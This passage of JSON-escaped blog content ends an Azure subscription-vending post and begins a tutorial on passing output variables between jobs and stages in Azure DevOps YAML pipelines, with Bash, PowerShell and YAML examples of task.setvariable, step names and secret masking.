style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='500' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='548' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='612' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='788' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='276' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='356' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='404' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='452' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='612' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='676' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='788' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='356' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='452' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='500' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='548' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='676' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='788' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='548' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='676' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='356' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='548' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='676' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='276' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='276' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePR-based self-service\u003c/strong\u003e allows teams to request resources without manual ticketing delays.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eValidation\u003c/strong\u003e steps prevent IP address overlaps and configuration errors before deployment.\u003c/li\u003e\n\u003cli\u003eThe final \u003cstrong\u003eNotification\u003c/strong\u003e provides the workload team with the credentials/access to their new, compliant environment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eIsolate State\u003c/strong\u003e: Use one Terraform state file per subscription to isolate the blast radius of failures.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMandatory Budgets\u003c/strong\u003e: Make budget alerts a required field in the request schema.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLog Category Support\u003c/strong\u003e: When configuring diagnostic settings, ensure the requested categories (like \u003ccode\u003eAdministrative\u003c/code\u003e) are supported at the subscription level to avoid deployment warnings.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIPAM Source of Truth\u003c/strong\u003e: Update your \u003ccode\u003eipam.yaml\u003c/code\u003e in the same pipeline run that provisions the subscription to prevent race conditions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/design-area/subscription-vending\"\u003eCAF Subscription Vending\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Azure/bicep-lz-vending\"\u003eBicep LZ Vending Module (GitHub)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#subscription-limits\"\u003eAzure Subscription Limits\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, move to \u003ca href=\"../azure-monitor-logging/\"\u003ePost 6: Centralized Monitoring\u003c/a\u003e. We will deploy the Log Analytics Workspace that receives the activity logs from these vended subscriptions.\u003c/p\u003e\n","description":"Automate Azure subscription provisioning with a PR-based vending workflow. Deploy spoke networking, RBAC, and monitoring baselines using Terraform and Bicep.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-subscription-vending/","title":"Azure Subscription Vending: Automated Workload Onboarding"},{"content":"\u003cp\u003eJob B needs the container image tag that Job A built. You set a variable in Job A. Job B cannot see it. You search the documentation, find three different reference syntaxes, and none of them have a worked example that matches your pipeline structure.\u003c/p\u003e\n\u003cp\u003eOutput variables are the primary mechanism for passing data between jobs and stages in Azure DevOps YAML pipelines, but the reference path syntax is verbose and unforgiving. The wrong step name, a missing \u003ccode\u003edependsOn\u003c/code\u003e, or a \u003ccode\u003edependencies\u003c/code\u003e vs. \u003ccode\u003estageDependencies\u003c/code\u003e mixup produces an empty string with no error. For a multi-stage release pipeline, a broken output variable reference means a deployment targeting the wrong artifact or a condition that silently never fires.\u003c/p\u003e\n\u003cp\u003eThis article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe exact \u003ccode\u003etask.setvariable\u003c/code\u003e syntax that produces an output variable, and why the step \u003ccode\u003ename:\u003c/code\u003e field is mandatory.\u003c/li\u003e\n\u003cli\u003eThe three reference path syntaxes: same-stage cross-job, cross-stage, and matrix leg.\u003c/li\u003e\n\u003cli\u003eThe two consumption patterns: variable mapping vs. direct condition reference.\u003c/li\u003e\n\u003cli\u003eThe fan-out pattern for multiple downstream jobs reading from one producer.\u003c/li\u003e\n\u003cli\u003eA decision framework for when output variables are the wrong tool and artifacts are the right one.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"producing-an-output-variable\"\u003eProducing an Output Variable\u003c/h2\u003e\n\u003ch3 id=\"tasksetvariable-with-isoutputtrue\"\u003e\u003ccode\u003etask.setvariable\u003c/code\u003e with \u003ccode\u003eisOutput=true\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eAn output variable is produced by writing a logging command to standard output during a pipeline step. The Azure DevOps agent intercepts lines matching the \u003ccode\u003e##vso[...]\u003c/code\u003e pattern and acts on them.\u003c/p\u003e\n\u003cp\u003eThe flag that matters is \u003ccode\u003eisOutput=true\u003c/code\u003e. Without it, the variable is scoped to the current job and invisible to any \u003ccode\u003edependencies\u003c/code\u003e or \u003ccode\u003estageDependencies\u003c/code\u003e object in downstream jobs. With it, the variable is promoted to the job\u0026rsquo;s output variable namespace, where downstream jobs can read it during their initialization phase.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Bash: without isOutput=true — variable is job-scoped, invisible to downstream jobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=localVar]local-value\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Bash: with isOutput=true — promoted to output variable, readable via dependencies\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHORT_SHA\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003egit rev-parse --short HEAD\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIMAGE_TAG\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eBUILD_BUILDID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eSHORT_SHA\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]\u003c/span\u003e$IMAGE_TAG\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# PowerShell: same distinction applies\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWrite-Host \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=localVar]local-value\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# PowerShell: promoted output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$shortSha = (git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$imageTag = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$($env:BUILD_BUILDID)\u003cspan style=\"color:#e6db74\"\u003e-\u003c/span\u003e$shortSha\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWrite-Host \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]\u003c/span\u003e$imageTag\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe value is always stored and returned as a string. Numeric or boolean values must be serialized by the producer and deserialized by the consumer — there is no type system for output variables.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003etask.setvariable\u003c/code\u003e command accepts three flags that can be combined:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eFlag\u003c/th\u003e\n          \u003cth\u003eEffect\u003c/th\u003e\n          \u003cth\u003eNotes\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eisOutput=true\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePromotes variable to cross-job output namespace\u003c/td\u003e\n          \u003ctd\u003eRequired for cross-job access\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eissecret=true\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eMasks value in log output\u003c/td\u003e\n          \u003ctd\u003eAutomatically masks in all downstream jobs\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eisreadonly=true\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePrevents downstream redefinition\u003c/td\u003e\n          \u003ctd\u003eRarely needed; use with caution\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eThe maximum variable value length is 32,766 characters — the Windows environment variable size limit. Exceeding it triggers a \u003ccode\u003e##[warning]\u003c/code\u003e in the logs and causes truncation. For values larger than a few KB, use pipeline artifacts instead.\u003c/p\u003e\n\u003ch3 id=\"the-step-name-requirement\"\u003eThe Step \u003ccode\u003ename:\u003c/code\u003e Requirement\u003c/h3\u003e\n\u003cp\u003eThe step that writes an output variable must have a \u003ccode\u003ename:\u003c/code\u003e field. The step name is a required component of every cross-job reference path:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edependencies.JobName.outputs[\u0026#39;stepName.varName\u0026#39;]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWithout \u003ccode\u003ename:\u003c/code\u003e, the output variable is set within the job but the reference path has no valid step name. The expression evaluates to empty string — no error, no warning.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003ename:\u003c/code\u003e field is distinct from \u003ccode\u003edisplayName:\u003c/code\u003e. The \u003ccode\u003ename:\u003c/code\u003e value is the identifier used in reference paths. The \u003ccode\u003edisplayName:\u003c/code\u003e value is the label shown in the pipeline UI. Only \u003ccode\u003ename:\u003c/code\u003e appears in the output variable reference.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      SHORT_SHA=$(git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-${SHORT_SHA}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$IMAGE_TAG\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecomputeTag              \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# This identifier appears in the reference path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Compute container image tag\u0026#34;\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# UI label only — not part of any reference\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe downstream reference uses \u003ccode\u003ecomputeTag\u003c/code\u003e (the \u003ccode\u003ename:\u003c/code\u003e value), not \u003ccode\u003eCompute container image tag\u003c/code\u003e:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eUse camelCase for step names. The reference path is case-sensitive, and a casing mismatch on any component produces an empty string. Standardize on a convention and apply it consistently to avoid silent failures.\u003c/p\u003e\n\u003ch3 id=\"output-variables-and-secrets\"\u003eOutput Variables and Secrets\u003c/h3\u003e\n\u003cp\u003eWhen you combine \u003ccode\u003eisOutput=true\u003c/code\u003e and \u003ccode\u003eissecret=true\u003c/code\u003e, the value is added to the pipeline\u0026rsquo;s log-scrubbing engine. This masking carries over automatically to all downstream jobs in the same pipeline run. If a downstream job maps the variable and prints it, the value will be masked in the logs.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Secret output variable — masked in logs automatically across the entire run\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=apiToken;isOutput=true;issecret=true]\u003c/span\u003e$API_TOKEN\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhile log masking is automatic, secret variables are not automatically mapped to environment variables in scripts. You must still map them explicitly in the downstream job\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block to use them:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# In the consuming job: map the secret to make it accessible\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003emyToken\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.JobA.outputs[\u0026#39;stepName.apiToken\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDo not use output variables to propagate long-lived credentials. Use variable groups with Azure Key Vault integration or dedicated secret retrieval tasks for anything that should remain protected outside the context of a single run.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"cross-job-output-variable-references-same-stage\"\u003eCross-Job Output Variable References (Same Stage)\u003c/h2\u003e\n\u003ch3 id=\"the-reference-path-anatomy\"\u003eThe Reference Path Anatomy\u003c/h3\u003e\n\u003cp\u003eThe full reference path for a same-stage cross-job output variable is:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$[ dependencies.ProducerJobName.outputs[\u0026#39;stepName.varName\u0026#39;] ]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFour components, all required:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003e$[ ]\u003c/code\u003e\u003c/strong\u003e — the runtime expression wrapper. This evaluates during \u0026ldquo;Initialize Job\u0026rdquo;, not at template expansion time. Using \u003ccode\u003e${{ }}\u003c/code\u003e here is a compile-time expression that does not have access to runtime data — it produces the literal string instead of the variable value.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003edependencies\u003c/code\u003e\u003c/strong\u003e — the same-stage dependency context object. This is not \u003ccode\u003estageDependencies\u003c/code\u003e — that object is for cross-stage references only.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003eProducerJobName\u003c/code\u003e\u003c/strong\u003e — the \u003ccode\u003ejob:\u003c/code\u003e key of the producing job, exactly as written in the YAML. Not the \u003ccode\u003edisplayName:\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003eoutputs['stepName.varName']\u003c/code\u003e\u003c/strong\u003e — the accessor combining the step name and variable name with a dot separator, in a single-quoted string.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAll four components are case-sensitive. A casing mismatch on any one of them produces empty string with no diagnostic.\u003c/p\u003e\n\u003ch3 id=\"diagram-output-variable-propagation-flow\"\u003eDiagram: Output Variable Propagation Flow\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes how the reference syntax changes depending on whether you are accessing a variable within the same stage or across different stages.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 624 569\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 592,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 320,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,48 L 576,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,96 L 296,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,96 L 552,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,144 L 192,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,144 L 296,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,144 L 464,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,144 L 552,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 184,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,176 L 296,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,176 L 456,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,176 L 552,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,208 L 192,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,208 L 296,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,208 L 552,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,224 L 184,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,224 L 320,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,224 L 576,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,240 L 184,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,240 L 592,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 592,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,368 L 568,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,416 L 544,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,448 L 312,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,448 L 544,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,480 L 304,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,480 L 544,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,512 L 544,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,528 L 568,528' 